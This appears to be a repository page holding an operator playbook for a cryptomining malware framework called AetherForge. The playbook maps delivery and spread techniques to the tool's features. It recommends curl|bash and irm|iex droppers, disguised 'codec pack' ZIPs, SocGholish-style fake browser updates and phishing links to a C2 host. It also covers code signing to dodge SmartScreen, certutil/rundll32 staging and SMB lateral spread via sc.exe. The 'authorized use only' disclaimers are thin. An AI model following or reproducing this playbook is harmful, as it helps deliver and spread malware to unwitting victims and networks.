Cleanup after LOTL: sync vuln_recon as the tenth tier across server, agent, and UI; tighten gitignore and trim PROBLEMS; dedupe spread docs into a single canonical stub.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
> **Operator playbook (tabbed HTML):** [`/docs/SPREAD_TECHNIQUES.html`](../server/web/public/docs/SPREAD_TECHNIQUES.html) on a running command deck. Emberwake links there by technique tab. This file is the research matrix source.
Canonical copy (served at `/docs/SPREAD_TECHNIQUES.md` on a running command deck):
> **Scope:** Documented red-team / threat-intelligence vectors mapped to AetherForge capabilities. For **authorized** penetration testing, lab environments, and defensive planning only. Sources cited below; landscape as of **2024–2026**.
| **Silent browser RCE** (visit page → shell, no exploit) | **Dead** | Modern Chromium sandboxes, site isolation, removed NPAPI/Flash/Java, aggressive patching. [MITRE T1189](https://attack.mitre.org/techniques/T1189/) still documents drive-by, but commodity ops need **0-day/n-day browser or renderer bugs** (e.g. [CVE-2025-49713](https://zeropath.com/blog/microsoft-edge-cve-2025-49713-type-confusion) — still requires visiting a malicious page and is patched quickly). |
| **Unauthenticated `curl \| bash` on cautious admins** | **Hard** | Server can fingerprint pipe-to-shell timing and serve benign vs malicious scripts ([curlbash_detect](https://github.com/Stijn-K/curlbash_detect), [idontplaydarts](https://www.idontplaydarts.com/2016/04/detecting-curl-pipe-bash-server-side/)). Mitigation: download → inspect → run. |
| **CRX sideloading via normal download** | **Dead** | `.crx` blocked under DownloadRestrictions; Web Store policy blocks casual sideload. Supply-chain via **compromised extension updates** is the modern path ([GitLab tech note](https://gitlab-com.gitlab.io/gl-security/security-tech-notes/threat-intelligence-tech-notes/malicious-browser-extensions-feb-2025/)). |
**Still works with friction:** User must **click download + run** (or run a one-liner they pasted). MoTW bypasses (LNK tricks, [FileFix 2.0](https://cybernoz.com/filefix-attack-exploits-windows-browser-features-to-bypass-mark-of-the-web-protection/), [7-Zip MoTW CVE-2025-0411](https://asec.ahnlab.com/en/87091/)) are **patch-cat-and-mouse**, not reliable baselines.
| **Service worker persistence** (AiTM / proxy) | **Hard** | Med | **Needs:** full PWA stack; feasible for **credential phishing**, not binary drop without user download. [EvilWorker](https://github.com/Ahaz1701/EvilWorker), [Akamai SW abuse](https://www.akamai.com/blog/security/abusing-the-service-workers-api). |
| **WASM obfuscated redirect** | **Hard** | Med | **Needs:** custom WASM module; evades some static JS scanners, not browser API monitors ([arxiv WASM study](https://arxiv.org/pdf/2508.21219)). Still ends at **user-run binary**. |
| **Waterhole on owned niche site** | **Easy** (if you own it) | Low–Med on first party | Same as dropper landing + organic traffic; [MITRE T1189](https://attack.mitre.org/techniques/T1189/). |
| **npm / PyPI / Docker Hub supply chain** | **Hard** | High (registry scanning, MFA) | **Needs:** wholly separate packaging pipeline; not in forge today. [Shai-Hulud](https://securelist.com/shai-hulud-worm-infects-500-npm-packages-in-a-supply-chain-attack/117547/), [GitGuardian 48h campaigns](https://blog.gitguardian.com/three-supply-chain-campaigns-hit-npm-pypi-and-docker-hub-in-48-hours/). |
| **WordPress plugin/theme compromise** | **Hard** (unless you own plugin) | High | **Needs:** PHP injector + redirect to your dropper URL. [EssentialPlugin 2026](https://patchstack.com/articles/critical-supply-chain-compromise-on-20-plugins-by-essentialplugin/), [CVE-2024-6297](https://cve.circl.lu/vuln/cve-2024-6297). |
| **Compromised shared hosting → web shell** | **Hard** | High | **Needs:** nothing in forge; lateral movement is post-compromise ([MITRE T1505.003](https://attack.mitre.org/techniques/T1505/003/), [Sucuri cross-contamination](https://blog.sucuri.net/2024/01/dangers-of-lateral-movement-website-cross-contamination.html)). |
| **Browser extension sideload / store takeover** | **Dead** (sideload) / **Hard** (store) | High | Extension **updates** via stolen publisher OAuth ([BleepingComputer 35 extensions](https://www.bleepingcomputer.com/news/security/new-details-reveal-how-hackers-hijacked-35-google-chrome-extensions/)). Not mapped to forge binaries. |
### Social engineering funnel (email / ads → site → file)
| **Email → link → owned lander → download** | **Easy** | Med (email gateway) | **Has:** campaign `?c=` on `/get` and public download; agent stores `campaign` on connect. |
| **OAuth redirect abuse** (`prompt=none` → attacker redirect URI → `/download`) | **Medium** | Med–High | **Needs:** Entra/Google OAuth app + redirect HTML; payload can point to `install.ps1` or ZIP. [Microsoft 2026](https://www.microsoft.com/en-us/security/blog/2026/03/02/oauth-redirection-abuse-enables-phishing-malware-delivery/), [Proofpoint TA416](https://www.proofpoint.com/us/blog/threat-insight/id-come-running-back-eu-again-ta416-resumes-european-government-espionage). |
| **SEO poisoning / malvertising** | **Medium** | High (ad review, cloaking detection) | **Needs:** ad account + cloaking + lander; payload can be fusion ZIP or spread-kit. [Malwarebytes utility ads 2024](https://www.malwarebytes.com/blog/threat-intel/2024/10/large-scale-google-ads-campaign-targets-utility-software), [MSIX SEO poisoning](https://www.precursorsecurity.com/blog/seo-poisoning-delivering-msix-installer-malware). |
| **IFRAME / HTML smuggling** | **Medium** | Med | **Needs:** client-side blob builder; still requires user to run extracted file. Often chained with OAuth redirect above. |
| **`irm \| iex` on Windows Server** | **Easy** | Med–High (AMSI, Constrained Language) | **Has:**`install.ps1`; hidden `cmd /c Deploy.bat` for spread-kit ZIP. |
| **Trojanized “monitoring agent” docs** | **Easy** | Low–Med if first-party domain | Same dropper; pin worker with `?pin=` for stable fleet profile. |
| **Docker `curl \| bash` in README** | **Medium** | High | **Needs:** separate Docker image story; agent has Docker E2E path but not publish pipeline. |
| **Web shell → curl dropper** | **Medium** (post-compromise) | High | Operator runs `curl` from shell; **Has:** dropper endpoints unauthenticated by design ([API-D09](PROBLEMS.md)). |
- **Spread funnel dashboard:** install connects by build (7d)
### In progress / gaps
| Gap | Emberwake / web-publisher role |
|-----|-------------------------------|
| No **fake-update** HTML kit | SocGholish-style lander — operator supplies branding |
| No **JS fingerprint / TDS** gate | Filter bots, mobile, non-target geo before showing download |
| No **OAuth redirect** helper | Entra app registration docs only |
| No **public registry** publish | npm/PyPI typosquat out of scope — use `npm-helper-export` on registries you own |
---
## Five Recommended Plays — Sites You Own
Prioritized for **authorized** red-team / lab use where you control DNS and TLS.
1.**First-party install docs page (servers)**
Host `install.sh` instructions on your domain: `curl -sL https://your.site/install.sh | bash` and PowerShell `irm|iex` for Win admins. Use `?pin=` for a fixed forge profile and `?c=docs` for attribution. Lowest friction for **Linux fleet / VPS** targets; maps 1:1 to existing dropper.
2.**Spread-kit web publisher (static lander)**
Ship the missing `spread-kit-web-publisher` template: single HTML “Download for your OS” button calling `/get?os=…&c=landing`. Deploy to **Cloudflare Pages** or your origin; keep C2 on separate host. Completes the Emberwake export path already wired in API.
3.**Fusion bundle as “media/tool download”**
Use movie or prep fusion ZIP on a themed site (e.g. “codec pack”, “portable tool”). Universal bundle auto-picks `Deploy.bat` / `deploy.sh`. Higher size; pair with **code signing** (`sign_build`) to reduce SmartScreen friction.
Clone the **SocGholish** pattern at reduced scope: browser-specific “update required” → ZIP with spread-kit or `Update.js`-style launcher equivalent (`Deploy.vbs`). Track `?c=update-chrome`. High detection risk; use only in controlled purple-team exercises.
5.**Email → owned lander → pinned build**
Simple HTML on your site; link `https://c2.example/get?pin={id}&c=phish1` or public artifact URL. Chain with **Emberwake campaign stats** to measure fetch vs install (agent connect). No third-party CDN required.
---
## LOTL staging & LAN spread (agent commands)
| Technique | LOLBins | AetherForge mapping |
|-----------|---------|---------------------|
| **BITS / curl / certutil staging** | `bitsadmin`, `curl.exe`, `certutil -decode`, `rundll32` | **Has:**`stage_fetch` command — C2 sends JSON manifest (chunk URLs, SHA256, dest path). Agent downloads via curl or BITS, decodes base64 chunks with certutil, verifies hash, launches via rundll32 or exe. Dest paths use `deploy.ResolveStagingPath` (same traversal rules as upload/download). |
| **SMB UNC remote service** | `sc.exe`, `net.exe` | **Has:**`spread_smb_unc` — `sc.exe \\host create/start` with `binPath=` pointing at `\\forge-host\pathforge$\worker.exe` (no PsExec, no local copy). Targets from ARP-first /24 discovery (`deploy/subnet.go`). Path Tracer egress hop: `POST /api/v1/pathtrace/spread` with `session_id` + `unc_path`. |
Blocking a user prevents them from interacting with repositories, such as opening or commenting on pull requests or issues. Learn more about blocking a user.